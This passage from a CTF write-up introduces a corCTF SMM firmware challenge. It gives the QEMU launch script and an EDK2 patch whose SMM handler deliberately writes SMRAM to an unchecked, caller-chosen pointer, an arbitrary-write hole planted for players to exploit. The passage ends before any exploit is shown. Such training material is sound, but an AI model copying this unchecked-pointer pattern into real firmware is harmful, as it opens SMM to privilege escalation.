System Management Mode and reading up on <a href="https://www.binarly.io/" target="_blank">binarly.io</a>
SMM CVEs, and thought it could make for a unique challenge to get
players familiar with exploiting something new.
Before continuing, I would like to give a shoutout to <a href="https://github.com/zhuyifei1999" target="_blank">zhuyifei1999</a> for his CowSay series in UIUCTF 2022 that got me into SMM and MeBeim for his <a href="https://toh.necst.it/uiuctf/pwn/system/x86/rop/UIUCTF-2022-SMM-Cowsay/" target="_blank">writeups</a>
on CowSay - funnily enough, these were the very two people who took
first and second blood on my SMM challenge in corCTF this year.</p>
<p>To start off, we were given the following QEMU run script: </p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">#!/bin/sh</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
./qemu-system-x86_64 \
-m 4096M \
-smp 1 \
-kernel </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"./bzImage"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> \
-append </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"console=ttyS0 panic=-1 ignore_loglevel pti=on"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> \
-netdev user,</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">id</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">=net \
-device e1000,netdev=net \
-display none \
-vga none \
-serial stdio \
-monitor /dev/null \
-machine q35,smm=on,accel=tcg \
-cpu max \
-initrd </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"./initramfs.cpio.gz"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> \
-global driver=cfi.pflash01,property=secure,value=on \
-drive </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">=pflash,format=raw,unit=0,file=./FV/OVMF_CODE.fd,</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">readonly</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">=on \
-drive </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">=pflash,format=raw,unit=1,file=./FV/OVMF_VARS.fd,</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">readonly</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">=on \
-global ICH9-LPC.disable_s3=1 \
-debugcon file:/dev/null \
-global isa-debugcon.iobase=0x402 \
-no-reboot </span></span></p><p>We were also given the following OVMF EDK2 patch on commit
16779ede2d366bfc6b702e817356ccf43425bcc8 (of course the flag was
replaced with a dummy test flag in the distributed patch):</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-comment" style="color: #6a737d;">diff --git a/OvmfPkg/Corctf/Corctf.c b/OvmfPkg/Corctf/Corctf.c</span><span style="background-color: whitesmoke; color: #24292e;">
new file mode 100644
</span><span class="hljs-comment" style="color: #6a737d;">index 0000000..4122dbc</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">--- /dev/null</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">+++ b/OvmfPkg/Corctf/Corctf.c</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-meta" style="color: #005cc5;">@@ -0,0 +1,141 @@</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#include <Uefi.h></span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#include <Library/UefiLib.h></span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#include <Library/BaseLib.h></span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#include <Library/BaseMemoryLib.h></span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#include <Library/DebugLib.h></span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#include <Library/PcdLib.h></span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#include <Library/SmmServicesTableLib.h></span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#include "Corctf.h"</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+const CHAR8 *Flag = "corctf{uNch3CKeD_c0Mm_BufF3r:(}";</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+typedef struct</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+{</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ UINT8 Note[16];</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+}DIARY_NOTE;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#define NUM_PAGES 20</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+DIARY_NOTE Book[NUM_PAGES];</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#define ADD_NOTE 0x1337</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#define GET_NOTE 0x1338</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#define DUMP_NOTES 0x31337</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+typedef struct</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+{</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ UINT32 Cmd;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ UINT32 Idx;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ union TRANSFER_DATA</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ {</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DIARY_NOTE Note;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ UINT8 *Dest;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ } Data;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+}COMM_DATA;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+VOID</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+TransferNote (</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ IN DIARY_NOTE *Note,</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ IN UINT32 Idx,</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ IN BOOLEAN In</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ )</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+{</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ if (In)</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ {</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ CopyMem(&Book[Idx], Note, sizeof(DIARY_NOTE));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ }</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ else</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ {</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ CopyMem(Note, &Book[Idx], sizeof(DIARY_NOTE));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ }</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+}</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+VOID</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+DumpNotes (</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ IN UINT8 *Dest</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ )</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+{</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ CopyMem(Dest, &Book, sizeof(Book));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+}</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+EFI_STATUS</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+EFIAPI</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+CorctfSmmHandler (</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ IN EFI_HANDLE DispatchHandle,</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ IN CONST VOID *Context OPTIONAL,</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ IN OUT VOID *CommBuffer OPTIONAL,</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ IN OUT UINTN *CommBufferSize OPTIONAL</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ )</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+{</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ COMM_DATA *CommData = (COMM_DATA *)CommBuffer;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ if (*CommBufferSize != sizeof(COMM_DATA))</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ {</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DEBUG((DEBUG_INFO, "Invalid size passed to %a\n", __FUNCTION__));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DEBUG((DEBUG_INFO, "Expected Size: 0x%lx, got 0x%lx\n", sizeof(COMM_DATA), *CommBufferSize));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ goto Failure;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ }</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ </span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ if ((CommData->Cmd == ADD_NOTE || CommData->Cmd == GET_NOTE) && CommData->Idx >= NUM_PAGES)</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ {</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DEBUG((DEBUG_INFO, "Invalid idx passed to %a\n", __FUNCTION__));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ goto Failure;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ }</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ switch (CommData->Cmd)</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ {</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ case ADD_NOTE:</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ TransferNote(&(CommData->Data.Note), CommData->Idx, TRUE);</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ break;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ case GET_NOTE:</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ TransferNote(&(CommData->Data.Note), CommData->Idx, FALSE);</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ break;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ case DUMP_NOTES:</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DumpNotes(CommData->Data.Dest);</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ break;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ default:</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DEBUG((DEBUG_INFO, "Invalid cmd passed to %a, got 0x%lx\n", __FUNCTION__, CommData->Cmd));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ goto Failure;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ }</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ return EFI_SUCCESS;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ Failure:</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ *CommBufferSize = -1;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ return EFI_SUCCESS;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+}</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+EFI_STATUS</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+EFIAPI</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+CorctfSmmInit (</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ IN EFI_HANDLE ImageHandle,</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ IN EFI_SYSTEM_TABLE* SystemTable</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ )</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+{</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ EFI_STATUS Status;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ EFI_HANDLE DispatchHandle;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ ASSERT (FeaturePcdGet (PcdSmmSmramRequire));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DEBUG ((DEBUG_INFO, "Corctf Diary Note Handler initiailizing\n"));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ Status = gSmst->SmiHandlerRegister (</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ CorctfSmmHandler,</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ &gEfiSmmCorctfProtocolGuid,</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ &DispatchHandle</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ );</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ if (EFI_ERROR (Status)) </span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ {</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DEBUG ((DEBUG_ERROR, "%a: SmiHandlerRegister(): %r\n",</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ __FUNCTION__, Status));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ }</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ else</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ {</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DEBUG ((DEBUG_INFO, "Corctf SMM Diary Note handler installed successfully!\n"));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DEBUG ((DEBUG_INFO, "Unlike heap notes, storing your notes in SMM will give you true secrecy!\n", 0));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ DEBUG ((DEBUG_INFO, "This place is so secretive that we even hid a flag in here!\n"</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ "Just to tease you a bit, the first few characters are: %.6a\n", Flag));</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ }</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ return Status;</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+}</span><span style="background-color: whitesmoke; color: #24292e;">
\ No newline at end of file
</span><span class="hljs-comment" style="color: #6a737d;">diff --git a/OvmfPkg/Corctf/Corctf.h b/OvmfPkg/Corctf/Corctf.h</span><span style="background-color: whitesmoke; color: #24292e;">
new file mode 100644
</span><span class="hljs-comment" style="color: #6a737d;">index 0000000..5f57570</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">--- /dev/null</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">+++ b/OvmfPkg/Corctf/Corctf.h</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-meta" style="color: #005cc5;">@@ -0,0 +1,7 @@</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#include <Uefi.h></span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+// b888a84d-2888-480e-9583-813725fd398b</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+#define EFI_CORCTF_SMM_PROTOCOL_GUID \</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ { 0xb888a84d, 0x3888, 0x480e, { 0x95, 0x83, 0x81, 0x37, 0x25, 0xfd, 0x39, 0x8b } }</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+extern EFI_GUID gEfiSmmCorctfProtocolGuid;</span><span style="background-color: whitesmoke; color: #24292e;">
\ No newline at end of file
</span><span class="hljs-comment" style="color: #6a737d;">diff --git a/OvmfPkg/Corctf/Corctf.inf b/OvmfPkg/Corctf/Corctf.inf</span><span style="background-color: whitesmoke; color: #24292e;">
new file mode 100644
</span><span class="hljs-comment" style="color: #6a737d;">index 0000000..f5b0e72</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">--- /dev/null</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-comment" style="color: #6a737d;">+++ b/OvmfPkg/Corctf/Corctf.inf</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-meta" style="color: #005cc5;">@@ -0,0 +1,30 @@</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+[Defines]</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ INF_VERSION = 1.29</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ BASE_NAME = CorCtfSmm</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ FILE_GUID = 6217a808-f2d4-4c7b-a50e-7f8803b8d316</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ MODULE_TYPE = DXE_SMM_DRIVER</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ ENTRY_POINT = CorctfSmmInit</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ PI_SPECIFICATION_VERSION = 0x00010046 </span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+[sources]</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ Corctf.h</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ Corctf.c</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+[Packages]</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ MdePkg/MdePkg.dec</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ OvmfPkg/OvmfPkg.dec</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+[LibraryClasses]</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ UefiDriverEntryPoint</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ UefiLib</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ PcdLib</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+ SmmServicesTableLib</span><span style="background-color: whitesmoke; color: #24292e;">
</span><span class="hljs-addition" style="background-color: #f0fff4; color: #22863a;">+</span><span style="background-color: whitesmoke; color: #24292e;">
